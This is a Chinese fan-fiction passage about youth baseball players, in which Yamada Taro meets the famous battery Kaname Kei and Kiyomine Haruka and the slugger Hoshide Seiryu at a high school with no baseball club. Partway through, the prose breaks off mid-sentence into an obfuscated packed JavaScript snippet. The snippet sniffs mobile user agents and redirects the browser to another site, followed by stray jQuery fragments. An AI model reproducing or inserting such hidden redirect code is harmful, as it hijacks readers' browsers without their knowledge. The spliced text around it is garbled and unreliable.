人与人的正常社交距离在1.2米到2.1米之间。
而本垒板处捕手和打者的博弈，往往发生在这段距离中。
再走近一步密切融洽，再后退一步疏离陌生，而就是咫尺远近，该说幸运还是不幸……
宝谷的要圭，大京的星出星流。
无可争议的、同世代顶尖的捕手与顶级的打者。
他们是这一届青少棒选手想要往上走必然越过的高山，再者经常出现在棒球杂志上、监督战术中和队友讨论里，山田太郎绝不会认错人。
至少山田太郎从来没想过，在这么日常的情景下能同时见到他们两人。
在青少棒队伍里待过的人都不敢做这种梦……！
并且，还看到了他们非比赛的、甚至可以说与比赛时完全相反的一面。
……虽说山田觉得还不如不看。
·
·
宝谷是青少棒名门，从怪物投捕组合手上尝到相当惨痛的败北的队伍不在少数。
山田只是被强大实力压制住的球儿中，并不突出的一个。
作为打者，比赛中必然有与清峰叶流火&要圭正面交锋的机会，打序越靠前，这样的机会越多，也就越能感受到“天才”所具有的压倒性的才能——如同黑船来袭，轻而易举击碎闭关锁国的粉饰太平。
恐怖的印象一球一球加深，接球的声音响亮得令人惶恐，仿佛霸道豪迈的速球并不是砸进捕手手套，而是直击心灵。
……根本无法出手。
球种并不复杂，却因为捕手缜密的布置显得诡谲异常。面对宝谷这对投捕，站在打击区，连挥棒都成了需要值得深思的问题。
同为捕手，清晰感受到对方配球思路的碾压；作为打者，在投打对决中惨痛败北。从中发觉了球儿与球儿之间亦有天壤之别，退避心理产生水到渠成。
·
·
星出星流，则从另一方面令人印象深刻。
前几年大京青少棒队监督离职的相关新闻闹得沸沸扬扬，从换新监督之后大京青少棒就掉出十六强、泯于普通球队。
在没有亮眼成绩的第三年，星出星流进入队伍，两年半的时间，给不看好这支队伍的所有人极大震撼，并让绝大多数同世代的青少棒投捕组合记住了他的名字。
——重炮与骏足并行不悖，巧打善打的怪物打者，星出星流！
明星人物带动落魄队伍重回八强的热血王道故事，杂志记者喜欢；强硬挫败对手提振士气甚至逆转胜负的打击，观众乐此不疲。
在星流上场的时候，对面的观众席往往异常骚动。一方面，大家不希望自己支持的队伍就此受挫，产生“只要星出星流上场就绝不会空手而归”的共识；另一方面，在青少棒阶段难得一见的打击美技有着让人无法抗拒的超绝魅力。
星出星流的打席往往清晰易懂——在清越响亮、透析灵魂的声响中，白色流星划过外野，越过围网。
辉煌的本垒打支数与惊艳的打率、上垒率为星出星流加冕：“神之手眼”“流星打者”“星中星中星选手”——
而这样的明星选手，刚刚和看似是智将要圭的生物一起，在泡面番都不够的短暂时间里，演绎了一场校园漫才。
何等恐怖的幻灭事件……！
发生得太快、太有冲击性以至于他现在很想说些什么但根本做不到！
山田太郎大动摇！
莫非，他并未身处樱云烂漫的校园，四周走动的也不是身着同样制服的学生？
他又什么时候成了裁判——就站在要圭同学的背后，而在打击区蓄势待发的星出同学，已经结束了和捕手短暂的交锋，握棒等待的姿势稳定完美。
投手丘上的怪物也缓缓走来……
慢着慢着，清峰叶流火真的过来了！
·
好高！
这是山田的第一印象，这么一看就是本尊啊！
清峰叶流火个高肩宽腿长，三两步走过来站定在几人面前，天然冷淡的表情带来莫名威慑感。
令山田太郎意外的是，清峰叶流火目光掠过摇摇晃晃从地上站起来星出星流，第一句话说的是“奶毛确实很好笑”。
山田太郎：“……？”
清峰叶流火又看向要圭：“他是谁？”
这问的是山田太郎。
可惜刚才要圭只是单方面介绍了自己，还没等山田礼节性回复就被星出星流横插进来的爆笑打断了……
咦，星出同学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918172|160299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么有点别扭的样子。
山田太郎一边想着，一边说了自己的名字。
“嗯，嗯！”要圭同学在旁边不住地点头，快乐得像第一天上幼稚园交到好朋友的小朋友，“阿山，超棒的，我的新朋友！以及这位！蓝蓝的——”
要圭的手臂展开，以一个“当有人说世界上没有什么是完美的”的meme姿势，看上去在向清峰叶流火推荐星出星流，实则用充满自豪的语气炫耀道：“眼光超棒！发掘圭酱一发技超绝魅力！”
被热情介绍的这个人似乎有点不好意思，挠挠脑门之后道：“啊，你们好，我叫星出星流。”
……这个人竟然也真的是本尊！
清峰叶流火表情淡淡：“嗯，我知道。”
要圭同学在三秒内完成了“拽着星出同学的手上下摇晃握手三下介绍自己I''m 我 is kaneme kei，wee to me to”和“转头问清峰同学咦你认识星酱吗”两个动作。
阿山……星酱……呜哇。
山田太郎捏紧背包带子，这个场面，感觉要起鸡皮疙瘩了！
该说不愧是同一个量级的明星选手们吗，彼此碰面也完全不虚，到头来只有他一个人在紧张和兴奋！
不对，还是要圭同学更兴奋一点。
他已经把清峰同学扒拉来扒拉去并且发出叽里咕噜奇怪的声音企图让他解释为什么反应平平淡淡得好像已经认识过对方一样。
清峰叶流火语气还是淡淡的：“本来就认识。”
“圭，你说过‘绝对不要被星出星流影响’，我记得的。”
要圭立刻停住，站在一边用手指挠挠脸颊，含混过去：“啊…诶…哦，是吗，哦哦，这样啊，是这样的。”
看着与记忆中沉稳冷静、运筹帷幄的形象大相径庭的要圭，刚才的幻灭感没有消失反而愈演愈烈。
旁边杵着的两个180大高个也带给山田一种别样的危机感，总觉得好像不说些什么就会错过宝贵解答机会一样——
山田太郎终于忍不住了：“那个，要同学、清峰同学，你们是宝谷青少棒队的投捕组合对吧？还有大京青少棒的星出同学……你们怎么会来念这所连棒球社都没有的都立高中呢？”